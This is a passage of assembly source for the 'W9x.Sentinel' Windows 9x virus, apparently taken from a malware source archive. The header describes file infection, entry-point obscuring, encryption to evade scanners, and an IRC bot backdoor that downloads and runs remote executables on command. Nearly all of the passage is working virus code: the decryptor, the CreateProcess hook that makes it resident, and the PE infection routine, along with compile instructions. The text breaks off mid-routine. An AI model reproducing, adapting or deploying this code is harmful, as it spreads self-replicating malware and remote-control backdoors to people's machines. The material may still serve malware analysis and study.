MalwareSourceCode/LegacyWindows/Win9x/Win9x.Sentinel.asm
2020-10-16 22:28:58 +02:00

2691 lines
60 KiB
NASM

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SENTINEL.ASM]ÄÄÄ
;........................................................................;
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
; w9x.Sentinel 1.1 (c)oded 2000 by f0re
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
;
; Abstract
; --------
; This is the sourcecode of my first resident w32 virus. It uses advanced
; EPO (entry point obscuring) and has backdoor capabilities via IRC.
;
;
; Virus Specification
; -------------------
; When an infected file is executed the decryptor receives control and
; decrypts the virus with the decryption key on the stack (see EPO
; specification). Next the virus goes resident by using the vxdcall0
; backdoor and hooks the CreateProcess api by modifying its address in the
; kernel32.dll export table in memory.
;
; When a new process is created the virus routine receives control and, if
; not already present, launches a new thread in which an IRC bot may be
; started (see IRC-BOT specification). Next it will try to infect the
; executed file.
;
; The infection procedure consists globally of the following steps. First
; it will search for a cavity in the file's code section and if one is
; found, it laces there the JumpVirus routine (see EPO specification).
; Second it will search for the nth call or jmp opcode in the code section
; to replace it with a call to this routine (again see EPO specification).
; Third it will copy the decryptor to the end of the file. Fourth it
; encrypts and copies the other portion of the virus to the file. The
; encryption key that is used is the offset of the returnaddress of the
; patched api call/jmp. Finally, after the file is infected, the original
; CreateProcess api code is executed.
;
;
; EPO specification
; ---------------------
; As already described, during infection the nth api call or (indirect)
; api jmp opcode in the code section of the file is replaced by a call
; to the JumpVirus routine (n is a random number). This routine was placed
; in a cavity somewhere in the code section. The JumpVirus routine holds
; the following 14 bytes of code:
;
; JumpVirusCode:
; xxxx = virtual address of JumpToVirusEntryPoint
; JumpToVirusEntryPoint:
; mov eax, [esp]
; add eax, delta
; jmp eax
;
; From the stack this routine takes the return address from the call. Next
; a precalculated number, called delta, (calculated during infection) is
; added which gives the virtual address of the virus entrypoint. After
; jumping to the virusdecryptor code the decryption key is taken from the
; stack (this is the return address from the call) and the viruscode can
; be decrypted.
;
; For a virusscanner it is now much harder to decrypt the virus; it first
; needs to find the return address of the api call or the address of the
; cavity and the size of the virus or both to be able to decrypt the
; virus.
;
;
; IRC BOT specification
; ---------------------
; When the IRC routine is launched, it will try to find an internet
; connection and if one is found, it launches an IRC BOT, ***a sentinel***
; which goes to undernet #sntnl. There it will sit and wait for remote
; commands. The nickname of a sentinel consists of a randomly chosen name
; from a list of names followed by two random numbers. In the rest of
; this text the name of a sentinel is indicated by xxx. A sentinel can
; understand a number of commands which can be send to a sentinel
; privately or to all sentinels at once by sending the message to the
; channel. The following messages are understood:
;
; * all IRC commands, send with the following stucture:
;
; /msg xxx pass /<ircommand> <params>
;
; so for example: /msg xxx pass /privmsg #sntnl :hello there
;
; * the installer-command, send with the following structure:
;
; /msg xxx pass /ex3c [<ipnumber>] [<get-command>]
;
; where <ipnumber> = ip-number of server where executable should
; be downloaded.
;
; where <get-command> = the exact command according to the HTTP
; protocol to retrieve the file.
;
; So the command may for example look like:
;
; /msg xxx pass /ex3c [123.45.67.89] [GET /filename.exe HTTP/1.0]
;
; If a sentinel receives this command it will download the
; specified file. Only when the it has succesfully received the
; entire file it will execute the file.
;
; * the status-command, send with the following structure:
;
; /msg xxx pass /st4t
;
; If a sentinel receives this command, it will show the status of
; the installer. Five different statuses are possible:
;
; Waiting/Unable to connect/Installing/Size error/Done
;
; * the quit-command, send with the following structure:
;
; /msg xxx pass /qu1t
;
; * the nick-command, send with the following structure:
;
; /msg xxx pass /n1ck
;
; This commands tells a sentinel to change its nick into a random
; 5 character long name.
;
;
; To Compile
; ----------
; tasm32 sentinel.asm /m /ml
; tlink32 -aa sentinel.obj lib\import32.lib
;
;
; Greetz
; ------
; Greetz go to (in random order): Blackjack, Darkman, MrSandman, Mdrg,
; Prizzy, Benny, rgo32, Asmod, Lord Julus, Spanska, DrOwlFS, Bumblebee,
; VirusBuster, LifeWire, Gbyte, r-, veedee, spo0ky, t00fic and last but
; not least all the other people from #virus/#vxers.
;
;
;"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""";
.386
.model flat, stdcall
locals
jumps
extrn ExitProcess:PROC
include inc\myinc.inc
include inc\wsocks.inc
.data
FirstCopy:
jmp RealStart
Start:
mov eax, dword ptr [esp] ; decryption key
pushad
call GetCurrentOffset
GetCurrentOffset:
pop esi
add esi, (RealStart - GetCurrentOffset)
mov ecx, ((Leap - RealStart)/4 + 1) ; size to decrypt
DecryptVirus:
xor dword ptr [esi], eax ; decryption routine
add esi, 04h
loop DecryptVirus
DecryptionDone:
popad
RealStart:
push ebp
call GetDeltaOffset
GetDeltaOffset:
pop ebp
sub ebp, offset GetDeltaOffset
SetSEH:
lea eax, [ebp + ErrorHandler] ; set new SEH handler
push eax
push dword ptr fs:[0] ; save old SEH handler
mov dword ptr fs:[0], esp ; initiate SEH frame
CheckWindowsVersion:
mov eax, [ebp + kernel32address]
cmp word ptr [eax], 'ZM'
jne ErrorHandler
add eax, [eax + 3ch]
cmp word ptr [eax], 'EP'
jne ErrorHandler
RestoreSEH:
pop dword ptr fs:[0] ; restore old SEH
add esp, 4 ; handler
jmp MainRoutines
ErrorHandler:
mov esp, [esp + 8]
pop dword ptr fs:[0]
add esp, 4
jmp CheckEpoType
MainRoutines:
pushad
call FIND_GETPROCADDRESS_API_ADDRESS
call FIND_VXDCALL0_ADDRESS
call FIND_USER32_BASE_ADDRESS
call GO_RESIDENT
popad
CheckEpoType:
cmp [ebp + epo_opcode], 15FFh
jne EpoJmpExit
EpoCallExit:
mov eax, [ebp + epo_awaa_va] ; [eax]-> va original jmp
pop ebp
jmp [eax]
EpoJmpExit:
mov eax, [ebp + epo_awaa_va] ; [eax]-> va original jmp
mov [esp + 4], eax
pop ebp
pop eax
jmp [eax]
;==============================[ includes ]==============================;
hookstruct db 20d dup(0)
zip db "zip",0
delta dd 00h
cs_rawsize dd 00h
cavity_va dd 00h
page_mem_size equ ((Leap-Start) + 0fffh)/1000h
resaddress dd 0
kernel32address dd 0bff70000h
user32address dd 0
wsock32address dd 0
imagehlpaddress dd 0
cp_oldapicodeaddress dd 0
cp_newapicodeaddress dd 0
cp_oldapicode db 06h dup(0)
cp_newapicode db 06h dup(0)
k32 db "KERNEL32.dll",0
user32 db "USER32.dll",0
imagehlp db "IMAGEHLP.dll",0
numberofnames dd 0
addressoffunctions dd 0
addressofnames dd 0
addressofordinals dd 0
AONindex dd 0
AGetProcAddress db "GetProcAddress", 0
AGetProcAddressA dd 0
AMessageBox db "MessageBoxA",0
AMessageBeep db "MessageBeep",0
AGetSystemTime db "GetSystemTime",0
AFindFirstFile db "FindFirstFileA",0
ACreateFile db "CreateFileA",0
ASetCurrentDirectory db "SetCurrentDirectoryA",0
ASetFileAttributes db "SetFileAttributesA",0
AGetFileAttributes db "GetFileAttributesA",0
ACreateFileMapping db "CreateFileMappingA",0
AMapViewOfFile db "MapViewOfFile",0
AUnmapViewOfFile db "UnmapViewOfFile",0
ACloseHandle db "CloseHandle",0
ASetFilePointer db "SetFilePointer",0
ASetEndOfFile db "SetEndOfFile",0
AGetModuleHandle db "GetModuleHandleA",0
ASetFileTime db "SetFileTime",0
ALoadLibrary db "LoadLibraryA",0
AGetSystemDirectory db "GetSystemDirectoryA",0
AGetWindowsDirectory db "GetWindowsDirectoryA",0
AGetFileSize db "GetFileSize",0
AGetCurrentDirectory db "GetCurrentDirectoryA",0
AVxdcall0A dd 0
ACheckSumMappedFile db "CheckSumMappedFile",0
filenamebuffer db 100h dup(0)
maphandle dd 0
mapaddress dd 0
memory dd 0
imagebase dd 0
imagesize dd 0
filealign dd 0
sectionalign dd 0
filehandle dd 0
filesize dd 0
PEheader dd 0
ip_original dd offset OriginalHost
windowtitle db "W9x.Sentinel", 0
msgtxt db "Observing the world f0revir", 0
myseh SEH <>
myfinddata WIN32_FIND_DATA <>
rva2raw dd 0
debug db 01
epo_newip dd 0
epo_cs_rva dd 0
epo_cs_pa dd 0
epo_ipnew_va dd 0
epo_ipnew_rva dd 0
epo_opcode dw 15ffh
epo_aoc_pa dd 0
epo_awaa_va dd offset ip_original
string db "ZZZZZZZZ", 0
ascvalues db "0123456789ABCDEF", 0
FIND_GETPROCADDRESS_API_ADDRESS proc
LoadExportTableData:
mov edi, [ebp + kernel32address] ; get exporttable
add edi, [edi + 3ch] ; address from
mov esi, [edi + 78h] ; kernel's PE header
add esi, [ebp + kernel32address]
mov eax, dword ptr [esi + 18h]
mov [ebp + numberofnames], eax ; save number of names
mov eax, dword ptr [esi + 1Ch] ; get ra of table with
add eax, [ebp + kernel32address] ; pointers to funtion
mov [ebp + addressoffunctions], eax ; addresses
mov eax, dword ptr [esi + 20h] ; get ra of table with
add eax, [ebp + kernel32address] ; pointers to names
mov [ebp + addressofnames], eax ; of functions
mov eax, dword ptr [esi + 24h] ; get ra of table with
add eax, [ebp + kernel32address] ; pointers to ordinals
mov [ebp + addressofordinals], eax ; of functions
BeginProcAddressSearch:
mov esi, [ebp + addressofnames] ; search for GetProc
mov [ebp + AONindex], esi ; Address API in names
mov edi, [esi] ; table
add edi, [ebp + kernel32address]
xor ecx, ecx
lea ebx, [ebp + AGetProcAddress]
TryAgain:
mov esi, ebx
MatchByte:
cmpsb
jne NextOne
cmp byte ptr [esi], 0 ; did the entire string
je GotIt ; match ?
jmp MatchByte
NextOne:
inc cx
add dword ptr [ebp + AONindex], 4 ; get next namepointer
mov esi, [ebp + AONindex] ; in table (4 dwords)
mov edi, [esi]
add edi, [ebp + kernel32address] ; align with kernelbase
jmp TryAgain
GotIt:
shl ecx, 1
mov esi, [ebp + addressofordinals] ; ordinal = nameindex *
add esi, ecx ; size of ordinal entry
xor eax, eax ; + ordinal table base
mov ax, word ptr [esi]
shl eax, 2 ; address of function =
mov esi, [ebp + addressoffunctions] ; ordinal * size of
add esi, eax ; entry of address
mov edi, dword ptr [esi] ; table + base of
add edi, [ebp + kernel32address] ; addresstable
mov [ebp + AGetProcAddressA], edi ; save GPA address
ret
FIND_GETPROCADDRESS_API_ADDRESS endp
FIND_VXDCALL0_ADDRESS proc
FindStartOfKernelExportSection:
mov esi, [ebp + kernel32address]
add esi, dword ptr [esi + 3ch]
mov edi, dword ptr [esi + 78h] ; virtual address of kernel32
add edi, [ebp + kernel32address] ; export section
GetVXDCallAddress:
mov esi, dword ptr [edi + 1Ch] ; get ra of table with
add esi, [ebp + kernel32address] ; pointers to funtion addresses
mov eax, dword ptr [esi]
add eax, [ebp + kernel32address]
mov [ebp + AVxdcall0A], eax
ret
FIND_VXDCALL0_ADDRESS endp
GETAPI proc
push eax
push dword ptr [ebp + kernel32address] ; load kernelbase
call [ebp + AGetProcAddressA] ; and get api address
jmp eax ; call the api
ret ; return
GETAPI endp
GETUAPI proc
push eax
push dword ptr [ebp + user32address] ; load user32base
call [ebp + AGetProcAddressA] ; and get api address
jmp eax
ret
GETUAPI endp
GETWAPI proc
push eax
push dword ptr [ebp + wsock32address] ; load wsockbase
call [ebp + AGetProcAddressA] ; and get api address
jmp eax
ret
GETWAPI endp
GETIAPI proc
push eax
push dword ptr [ebp + imagehlpaddress]
call [ebp + AGetProcAddressA]
jmp eax
ret
GETIAPI endp
GO_RESIDENT proc
CheckResidency:
mov eax, [ebp + kernel32address]
add eax, 400h
cmp dword ptr [eax], 'er0f'
je MemoryError ; already resident
PageReserve:
push 00020000h or 00040000h
push page_mem_size
push 80060000h
push 00010000h
call dword ptr [ebp + AVxdcall0A]
cmp eax, 0FFFFFFFh
je MemoryError
mov [ebp + resaddress], eax
CalculateVirusVirtualAddress:
mov ecx, offset InterceptCP - Start
add ecx, eax
mov [ebp + cp_newapicodeaddress], ecx
PageCommit:
push 00020000h or 00040000h or 80000000h or 00000008h
push 00000000h
push 00000001h
push page_mem_size
shr eax, 12
push eax
push 00010001h
call dword ptr [ebp + AVxdcall0A]
or eax, eax
je MemoryError
; IN: hookstruct:
; 00 : offset api name
; 04 : old apicodeaddress
; 08 ; offset for old apicode
; 12 ; offset for new apicode
; 16 : new apicodeaddress
lea eax, [ebp + hookstruct]
lea ebx, [ebp + ACreateProcess]
mov dword ptr [eax], ebx
lea ebx, [ebp + cp_oldapicodeaddress]
mov dword ptr [eax + 4], ebx
lea ebx, [ebp + cp_oldapicode]
mov dword ptr [eax + 8], ebx
lea ebx, [ebp + cp_newapicode]
mov dword ptr [eax + 12], ebx
lea ebx, [ebp + cp_newapicodeaddress]
mov dword ptr [eax + 16], ebx
call HOOK_API
CopyVirusToMemory:
cld
lea esi, [ebp + Start]
mov edi, [ebp + resaddress]
mov ecx, Leap-Start
rep movsb
SetResidentFlag:
mov eax, [ebp + kernel32address]
add eax, 400h
shr eax, 12d
ModifyPagePermissions2:
push 20060000h
push 00000000h
push 00000001h
push eax
push 0001000dh
call dword ptr [ebp + AVxdcall0A]
cmp eax, 0FFFFFFFh
je MemoryError
mov eax, [ebp + kernel32address]
add eax, 400h
mov dword ptr [eax], 'er0f'
MemoryError:
ret
GO_RESIDENT endp
INFECT_FILE proc
SetFileAttributesToNormal:
push 80h
lea esi, [ebp + myfinddata.fd_cFileName] ; esi = filename
push esi
lea eax, [ebp + ASetFileAttributes]
call GETAPI
OpenFile:
push 0 ; template handle=0
push 20h ; attributes=any file
push 3 ; type= existing file
push 0 ; security option = 0
push 1 ; shared for read
push 80000000h or 40000000h ; generic read write
lea esi, [ebp + filenamebuffer]
push esi ; offset file name
lea eax, [ebp + ACreateFile]
call GETAPI
cmp eax, 0FFFFFFFFh
je InfectionError
mov [ebp + filehandle], eax
;-------------------------------[ map file ]---------------------------------;
CreateFileMapping: ; allocates the memory
push 0 ; filename handle = 0
push [ebp + memory] ; max size = memory
push 0 ; minumum size = 0
push 4 ; read / write access
push 0 ; sec. attrbs= default
push [ebp + filehandle]
lea eax, [ebp + ACreateFileMapping]
call GETAPI ; eax = new map handle
mov [ebp + maphandle], eax
or eax, eax
jz CloseFile
MapViewOfFile:
push [ebp + memory] ; memory to map
push 0 ; file offset
push 0 ; file offset
push 2 ; file map write mode
push eax ; file map handle
lea eax, [ebp + AMapViewOfFile] ; ok map the file
call GETAPI
or eax, eax
jz CloseMap
mov [ebp + mapaddress], eax ; save that base
CheckForMZMark:
cmp word ptr [eax], 'ZM' ; an exe file?
jne UnmapView
CheckInfectionMark:
cmp word ptr [eax + 38h], 'll' ; already infected?
je UnmapView
NotYetInfected:
mov esi, dword ptr [eax + 3ch]
cmp esi, 200h
ja UnmapView
add esi, eax
cmp dword ptr [esi], 'EP' ; is it a PE file ?
jne UnmapView
mov [ebp + PEheader], esi ; save va PE header
mov eax, [esi + 28h]
mov [ebp + ip_original], eax ; save original ip
mov eax, [esi + 34h]
mov [ebp + imagebase], eax ; save imagebase
;------------------------------[ append section ]----------------------------;
CheckForEPO:
pushad
mov [ebp + epo_opcode], 15FFh ; search for call opcode
call CREATE_EPO
or eax, eax
jnz LocateBeginOfLastSection
mov [ebp + epo_opcode], 25FFh
call CREATE_EPO
or eax, eax
jnz LocateBeginOfLastSection
popad
jmp UnmapView
LocateBeginOfLastSection:
popad
movzx ebx, word ptr [esi + 20d] ; optional header size
add ebx, 24d ; file header size
movzx eax, word ptr [esi + 6h] ; no of sections
dec eax ; (we want the last-1
mov ecx, 28h ; sectionheader)
mul ecx ; * header size
add esi, ebx ; esi = begin of last
add esi, eax ; section's header
CheckForOverLays:
mov eax, [esi + 10h] ; section phys size
add eax, [esi + 14h] ; section phys offset
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 38h]
div ecx
inc eax
mul ecx
mov ecx, [ebp + filesize]
cmp ecx, eax
ja UnmapView ; we dont infect those
mov ecx, 08h
CheckForZipSFX:
lea edi, [ebp + zip]
push ecx
push esi
mov ecx, 03h
rep cmpsb
pop esi
pop ecx
je UnmapView
inc esi
loop CheckForZipSFX
ChangeLastSectionHeaderProperties:
sub esi, 08h
or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h
NewAlignedPhysicalSize:
mov eax, [esi + 8h] ; old virt size
add eax, Leap-Start
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 3ch]
div ecx ; and align it to
inc eax ; the filealign
mul ecx
mov [esi + 10h], eax ; save it
NewAlignedVirtualSize:
mov eax, [esi + 8h] ; get old
push eax ; store it
add eax, Leap-Start
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 38h]
div ecx ; and align it to
inc eax ; the sectionalign
mul ecx
mov [esi + 8h], eax ; save new value
NewAlignedImageSize:
mov eax, dword ptr [esi + 0ch] ; get virtual offset
add eax, dword ptr [esi + 8h] ; + new virtual size
mov [ebp + imagesize], eax ; = new imagesize
NewAlignedFileSize:
mov eax, dword ptr [esi + 10h] ; get new phys size
add eax, dword ptr [esi + 14h] ; add offset of phys
mov [ebp + filesize], eax ; size = filesize
CalculateNewIp:
pop eax
push eax
add eax, dword ptr [esi + 0ch] ; + virtual offset
mov [ebp + epo_ipnew_rva], eax ; new ip
CreateEpoIp:
add eax, [ebp + imagebase]
mov [ebp + epo_ipnew_va], eax
CalculateEncryptionKey:
mov ebx, [ebp + epo_aoc_pa]
sub ebx, [ebp + epo_cs_pa]
add ebx, [ebp + epo_cs_rva]
add ebx, 04h ; ebx-> original return address
add ebx, [ebp + imagebase] ; after call = encryption key
CalculateDelta:
mov eax, [ebp + epo_ipnew_va]
sub eax, ebx
mov [ebp + delta], eax
CopyVirusDecryptorToEndOfFile:
pop eax
mov edi, eax ; virtual size
add edi, [ebp + mapaddress] ; mapaddress
add edi, [esi + 14h] ; add raw data offset
lea esi, [ebp + Start] ; copy virus
mov ecx, (RealStart - Start)
rep movsb
PrepareToEncryptAndCopy:
mov ecx, ((Leap-RealStart)/4 + 1)
cld
EncryptAndCopyVirus:
movsd
sub edi, 04h
xor dword ptr [edi], ebx
add edi, 04h
loop EncryptAndCopyVirus
SearchForCavity:
mov esi, [ebp + epo_cs_pa]
mov ecx, [ebp + cs_rawsize]
call CAVITYSEARCH
or esi, esi
jz UpdatePEHeaderWithChanges
mov eax, esi
sub eax, [ebp + epo_cs_pa]
add eax, [ebp + epo_cs_rva]
add eax, [ebp + imagebase]
mov [ebp + cavity_va], eax
WriteVirusJumpIntoCavity:
add eax, 04h
mov dword ptr [esi], eax
add esi, 04h
mov dword ptr [esi], 0524048Bh
add esi, 04h
mov eax, [ebp + delta]
mov dword ptr [esi], eax
add esi, 04h
mov word ptr [esi], 0E0FFh
SetEpo:
mov eax, [ebp + cavity_va]
mov edx, [ebp + epo_aoc_pa]
mov dword ptr [edx], eax
sub edx, 02h
mov word ptr [edx], 15FFh ; turn jmp into call
UpdatePEHeaderWithChanges:
mov esi, [ebp + mapaddress]
mov word ptr [esi + 38h], 'll' ; set infectionmark
mov esi, [ebp + PEheader]
mov eax, [ebp + imagesize]
mov [esi + 50h], eax ; set new imagesize
CalculateNewCheckSum:
cmp dword ptr [esi + 58h], 00h
je UnmapView
LoadImageHlpDll:
lea eax, [ebp + imagehlp]
push eax
lea eax, [ebp + ALoadLibrary]
call GETAPI
or eax, eax
jz UnmapView
mov [ebp + imagehlpaddress], eax
CalculateNewChecksum:
mov esi, [ebp + PEheader]
push dword ptr [esi + 58h]
lea eax, [ebp + buffer]
push eax
push dword ptr [ebp + filesize]
push dword ptr [ebp + mapaddress]
lea eax, [ebp + ACheckSumMappedFile]
call GETIAPI
;--------------------------------[ unmap file ]------------------------------;
UnmapView:
push dword ptr [ebp + mapaddress]
lea eax, [ebp + AUnmapViewOfFile]
call GETAPI
CloseMap:
push dword ptr [ebp + maphandle]
lea eax, [ebp + ACloseHandle]
call GETAPI
push 0 ; set file pointer to
push 0 ; beginning + filesize
push [ebp + filesize] ; = end of file
push [ebp + filehandle]
lea eax, [ebp + ASetFilePointer]
call GETAPI
push [ebp + filehandle] ; set EOF equal to current
lea eax, [ebp + ASetEndOfFile] ; filepointer position
call GETAPI
;--------------------------------[ close file ]------------------------------;
CloseFile:
push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]
push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]
push dword ptr [ebp + myfinddata.fd_ftCreationTime]
push dword ptr [ebp + filehandle]
lea eax, [ebp + ASetFileTime]
call GETAPI
push [ebp + filehandle]
lea eax, [ebp + ACloseHandle]
call GETAPI
InfectionError:
push dword ptr [ebp + myfinddata.fd_dwFileAttributes]
lea eax, [ebp + myfinddata.fd_cFileName]
push eax
lea eax, [ebp + ASetFileAttributes]
call GETAPI
ret
INFECT_FILE endp
RESIDENT_CP proc
InterceptCP:
pushad
call GetApiDelta
GetApiDelta:
pop ebp
sub ebp, offset GetApiDelta
call FIND_GETPROCADDRESS_API_ADDRESS
call FIND_USER32_BASE_ADDRESS
call RESIDENT_CP2
call IRC_LAUNCH
popad
GetNewDelta:
call NewDelta
NewDelta:
pop eax
sub eax, offset NewDelta
RestoreApiCode:
pushad
mov edi, [eax + cp_oldapicodeaddress]
lea esi, [eax + cp_oldapicode]
mov ecx, 06h
rep movsb
popad
pop [eax + returnaddress]
call dword ptr [eax + cp_oldapicodeaddress]
ReHookApi:
pushad
call GetNewDelta2
GetNewDelta2:
pop ebp
sub ebp, offset GetNewDelta2
mov edi, [ebp + cp_oldapicodeaddress]
lea esi, [ebp + cp_newapicode]
mov ecx, 06h
rep movsb
popad
ReturnToOriginalCaller:
db 68h
returnaddress dd 0
ret
RESIDENT_CP endp
RESIDENT_CP2 proc
CheckForEmptyCommandLine:
mov esi, dword ptr [esp + 2ch]
or esi, esi
jz Continue
ExtractFileName:
xor ecx, ecx
cmp byte ptr [esi], '"'
jne FileNameNormal
inc esi
push esi
GetFileNamePartBetweenQuotes:
cmp byte ptr [esi], '"'
je GetBetweenQuotes
inc esi
inc ecx
cmp ecx, 100h
ja FileNameEndNotFound
jmp GetFileNamePartBetweenQuotes
GetBetweenQuotes:
mov edi, esi
pop esi
sub edi, esi ; esi hold start of filename
mov ecx, edi ; ecx holds size of filename
jmp StoreFileName
FileNameNormal:
push esi
GetNormalFileName:
cmp byte ptr [esi], ' '
je FoundNormalFileName
inc esi
inc ecx
cmp ecx, 100h
ja FileNameEndNotFound
jmp GetNormalFileName
FoundNormalFileName:
mov edi, esi
pop esi
sub edi, esi ; esi hold start of filename
mov ecx, edi ; ecx holds size of filename
jmp StoreFileName
FileNameEndNotFound:
pop esi
jmp Continue
StoreFileName:
push edi
push esi
push ecx
mov ecx, 100h
xor eax, eax
lea edi, [ebp + filenamebuffer]
rep stosb
pop ecx
pop esi
pop edi
lea edi, [ebp + filenamebuffer]
rep movsb
CheckForRem:
lea esi, [ebp + filenamebuffer]
cmp word ptr [esi], 'er'
jne FindFirstFile
inc esi
cmp word ptr [esi], 'me'
je Continue
FindFirstFile:
lea eax, [ebp + myfinddata] ; win32 finddata structure
push eax
lea eax, [ebp + filenamebuffer]
push eax
lea eax, [ebp + AFindFirstFile] ; find the file
call GETAPI
cmp eax, 0FFFFFFFFh ; file was not found
je Continue
cmp [ebp + debug], 00h
je InfectThisFile
xor ecx, ecx
lea esi, [ebp + myfinddata.fd_cFileName]
CheckFileName:
cmp byte ptr [esi], 0
je Continue
cmp dword ptr [esi], 'mmud'
je InfectThisFile
inc esi
inc ecx
cmp ecx, 100h
ja Continue
jmp CheckFileName
InfectThisFile:
mov ecx, [ebp + myfinddata.fd_nFileSizeLow] ; ecx = filesize
mov [ebp + filesize], ecx ; save the filesize
add ecx, Leap - Start + 1000h ; filesize + virus
mov [ebp + memory], ecx ; + workspace = memory
call INFECT_FILE
Continue:
ret
RESIDENT_CP2 endp
HOOK_API proc
; IN: hookstruct:
; 00 : offset api name
; 04 : old apicodeaddress
; 08 ; offset for old apicode
; 12 ; offset for new apicode
; 16 : new apicodeaddress
FindKernelExportTable:
pushad
mov edi, [ebp + kernel32address]
add edi, dword ptr [edi + 3ch]
mov esi, dword ptr [edi + 78h]
add esi, [ebp + kernel32address]
GetNecessaryData:
mov eax, dword ptr [esi + 18h]
add eax, [ebp + kernel32address]
mov [ebp + numberofnames], eax ; save number of names
mov eax, dword ptr [esi + 1Ch] ; get ra of table with
add eax, [ebp + kernel32address]
mov [ebp + addressoffunctions], eax ; function addresses
mov eax, dword ptr [esi + 20h] ; get ra of table with
add eax, [ebp + kernel32address]
mov [ebp+addressofnames], eax ; pointers to names
mov eax, dword ptr [esi + 24h] ; get ra of table with
add eax, [ebp + kernel32address]
mov [ebp+addressofordinals], eax ; pointers to ordinals
BeginApiAddressSearch:
mov esi, [ebp + addressofnames] ; search for
mov [ebp + AONindex], esi ; API in names
mov edi, [esi] ; table
add edi, [ebp + kernel32address]
HookCreateProcess:
xor ecx, ecx
OkTryAgain:
lea ebx, [ebp + hookstruct]
mov esi, dword ptr [ebx]
MatchByteNow:
cmpsb
jne NextOneNow
cmp byte ptr [esi], 0 ; did the entire string
je YesGotIt ; match ?
jmp MatchByteNow
NextOneNow:
inc cx
add dword ptr [ebp + AONindex], 4 ; get next namepointer
mov esi, [ebp + AONindex] ; in table (4 dwords)
mov edi, [esi]
add edi, [ebp + kernel32address]
jmp OkTryAgain
YesGotIt:
shl ecx, 1
mov esi, [ebp + addressofordinals] ; ordinal = nameindex *
add esi, ecx ; size of ordinal entry
xor eax, eax ; + ordinal table base
mov ax, word ptr [esi] ; offset of address
shl eax, 2 ; of function = ordinal
mov esi, [ebp + addressoffunctions] ; * size of entry of
add esi, eax ; address table
mov edi, dword ptr [esi] ; get address
add edi, [ebp + kernel32address]
lea eax, [ebp + hookstruct]
mov eax, dword ptr [eax + 4]
mov dword ptr [eax], edi
SetApiHook:
mov eax, edi
shr eax, 12d
ModifyPagePermissions:
push 20060000h
push 00000000h
push 00000001h
push eax
push 0001000dh
call dword ptr [ebp + AVxdcall0A]
cmp eax, 0FFFFFFFh
jne SaveCreateProcessApiCode
xor eax, eax
jmp ApiHookError
SaveCreateProcessApiCode:
lea esi, [ebp + hookstruct]
mov esi, dword ptr [esi + 4]
mov esi, dword ptr [esi]
lea edi, [ebp + hookstruct]
mov edi, dword ptr [edi + 8]
mov ecx, 06h
rep movsb
PrepareCreateProcessApiCode:
lea esi, [ebp + hookstruct]
mov esi, dword ptr [esi + 12]
mov byte ptr [esi], 68h
inc esi
lea eax, [ebp + hookstruct]
mov eax, dword ptr [eax + 16]
mov eax, dword ptr [eax]
mov dword ptr [esi], eax
add esi, 04h
mov byte ptr [esi], 0c3h
ChangeCreateProcessApiCode:
lea edi, [ebp + hookstruct]
mov edi, dword ptr [edi + 4]
mov edi, dword ptr [edi]
lea esi, [ebp + hookstruct]
mov esi, dword ptr [esi + 12]
mov ecx, 06h
rep movsb
ApiHookError:
popad
ret
HOOK_API endp
CREATE_EPO proc
LocateCodeSectionHeader:
mov eax, [ebp + ip_original]
call FIND_SECTION
or eax, eax
jz ExitEpoRoutine
; edi = start of code section header
GetPointerToRawData:
mov eax, dword ptr [edi + 12d] ; eax = rva cs
mov [ebp + epo_cs_rva], eax
mov ecx, dword ptr [edi + 16d] ; raw size of code section
mov [ebp + cs_rawsize], ecx
mov edx, dword ptr [edi + 20d] ; RVA to raw data of code section
add edx, [ebp + mapaddress]
mov [ebp + epo_cs_pa], edx
mov esi, edx
mov eax, [ebp + ip_original]
mov edx, [ebp + epo_cs_rva]
sub eax, edx
add esi, eax
sub ecx, eax
; esi = physical address to raw data of code section
; ecx = size of raw data of code section
ScanForOpcode:
lodsw
dec esi
cmp word ptr [ebp + epo_opcode], ax
je FoundOpcode
loop ScanForOpcode
xor eax, eax ; eax = 0 = error
jmp ExitEpoRoutine ; not found
FoundOpcode:
dec ecx
push esi
push ecx
inc esi
; esi = physical address of [xxxx] in code section
ExamineAddress:
mov [ebp + epo_aoc_pa], esi ; address of call
mov eax, dword ptr [esi]
mov [ebp + epo_awaa_va], eax ; address where api address
;pushad
;call MSG_BEEP
;popad
; on stack: esi, ecx
GetRVAImportTable:
mov esi, [ebp + PEheader]
mov eax, [esi + 80h] ; rva of import table
call FIND_SECTION
or eax, eax
jz NotFound
; edx = va of import section
; ecx = size of import section
; on stack: esi, ecx
CompareAddressToImportAddress:
mov esi, [ebp + epo_awaa_va]
cmp edx, esi
jb CheckNotAbove
jmp NotFound
CheckNotAbove:
add edx, ecx
cmp edx, esi
ja FoundGoodInsertionPoint
NotFound:
pop ecx
pop esi
jmp ScanForOpcode
FoundGoodInsertionPoint:
mov eax, 0ah
call GET_RANDOM_NUMBER_WITHIN
cmp eax, 3h
ja NotFound
pop ecx
pop esi
mov eax, 01h
; eax == 0 -> error
; eax == 1 -> found
ExitEpoRoutine:
ret
CREATE_EPO endp
FIND_USER32_BASE_ADDRESS proc
GetUser32Base:
lea eax, [ebp + user32]
push eax
lea eax, [ebp + ALoadLibrary]
call GETAPI
mov [ebp + user32address], eax
ret
FIND_USER32_BASE_ADDRESS endp
FIND_WSOCK32_BASE_ADDRESS proc
LoadWsock32:
lea eax, [ebp + wsock32] ; not found, then
push eax ; load the dll
lea eax, [ebp + ALoadLibrary] ; first
call GETAPI
mov [ebp + wsock32address], eax
ret
FIND_WSOCK32_BASE_ADDRESS endp
FIND_SECTION proc
; In: eax - rva somewhere in section
; Out: edx - va of section start
; Out: ecx - size of section
; out: edi - va of section header
FindFirstSectionHeader:
mov esi, [ebp + mapaddress]
add esi, dword ptr [esi + 3ch] ; esi=offset peheader
